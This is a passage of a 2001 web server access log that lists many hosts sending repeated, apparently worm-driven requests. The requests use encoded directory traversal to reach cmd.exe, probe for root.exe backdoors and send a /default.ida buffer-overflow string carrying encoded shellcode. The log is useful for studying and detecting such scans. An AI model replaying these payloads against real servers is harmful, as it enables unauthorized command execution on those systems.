HTTP/1.0" 20010920 14:52:09: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 14:52:09: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:52:09: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:52:09: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:52:10: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:52:10: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:52:10: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:52:10: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:52:10: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:52:10: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:52:11: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:52:11: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:52:11: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:52:11: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:52:11: dynamic-41-195.dyn.columbia.edu [128.59.41.195] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 14:52:12: dhcp33.cs.columbia.edu [128.59.19.233] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 15:09:19: dhcp187-121.njit.edu [128.235.187.121] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 15:14:16: dhcp187-121.njit.edu [128.235.187.121] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 15:14:16: dhcp187-121.njit.edu [128.235.187.121] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:14:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 15:35:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 15:35:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:35:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:35:50: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:35:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:35:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:35:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:35:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:35:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:35:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:35:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:35:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:35:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:35:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:35:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:35:55: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 15:36:56: [209.71.127.50] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 15:37:22: [209.71.127.50] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 15:37:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 15:37:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 15:37:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:37:41: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:37:42: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:37:42: [209.71.127.50] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:38:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:38:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:38:00: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:38:01: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:38:01: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:38:01: [209.71.127.50] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:38:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:38:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:38:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:38:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:38:21: [209.71.127.50] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:38:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:38:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:38:40: [209.71.127.50] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:39:04: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 15:39:04: [209.71.127.50] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:39:22: [209.71.127.50] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:39:41: [209.71.127.50] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:40:00: [209.71.127.50] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:40:18: [209.71.127.50] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:40:40: [209.71.127.50] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:40:59: [209.71.127.50] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:41:17: [209.71.127.50] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:41:36: [209.71.127.50] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:41:55: [209.71.127.50] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 15:42:14: c02-140.012.popsite.net [64.24.42.140] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 16:06:19: c02-140.012.popsite.net [64.24.42.140] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 16:06:24: c02-140.012.popsite.net [64.24.42.140] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:06:29: c02-140.012.popsite.net [64.24.42.140] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:06:36: [209.71.127.50] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 16:22:46: [209.71.127.50] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 16:23:05: [209.71.127.50] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:23:24: [209.71.127.50] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:23:43: [209.71.127.50] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:24:01: [209.71.127.50] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:24:20: [209.71.127.50] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:24:38: [209.71.127.50] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:24:56: [209.71.127.50] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:25:15: [209.71.127.50] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:25:34: [209.71.127.50] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:25:53: [209.71.127.50] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:26:12: [209.71.127.50] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:26:31: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010920 16:26:31: [209.71.127.50] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:26:50: [209.71.127.50] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:27:12: [209.71.127.50] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:27:30: [128.197.227.160] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 16:30:06: [128.197.227.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 16:30:24: [128.197.227.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:30:43: [128.197.227.161] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 16:31:01: [128.197.227.161] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 16:31:26: [128.197.227.161] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:31:44: [128.197.227.161] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:32:25: [128.197.227.161] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:32:43: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 16:44:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 16:44:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:44:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:44:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:44:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:44:53: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:44:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:44:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:44:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:44:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:44:55: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:44:56: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:44:56: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:44:56: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:44:56: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 16:44:56: host162.netcomco.com [] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 17:08:24: host162.netcomco.com [] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 17:08:24: host162.netcomco.com [] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:08:24: host162.netcomco.com [] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:08:25: host162.netcomco.com [] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:08:26: host162.netcomco.com [] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:08:26: host162.netcomco.com [] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:08:30: host162.netcomco.com [] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:08:31: host162.netcomco.com [] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:08:31: host162.netcomco.com [] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:08:32: host162.netcomco.com [] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:08:33: host162.netcomco.com [] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:08:34: host162.netcomco.com [] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:08:35: host162.netcomco.com [] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:08:36: host162.netcomco.com [] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:08:37: host162.netcomco.com [] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:08:37: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 17:21:47: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 17:21:47: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:21:47: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:21:48: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:21:48: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:21:48: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:21:48: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:21:48: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:21:48: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:21:49: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:21:50: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:21:50: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:21:50: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:21:51: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:21:51: ucsf-113-61.ucsf.edu [128.218.113.61] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:21:52: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010920 17:28:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010920 17:28:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:28:44: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:28:45: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:28:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:28:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:28:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:28:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:28:46: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:28:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:28:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:28:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:28:47: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:28:48: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010920 17:28:49: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"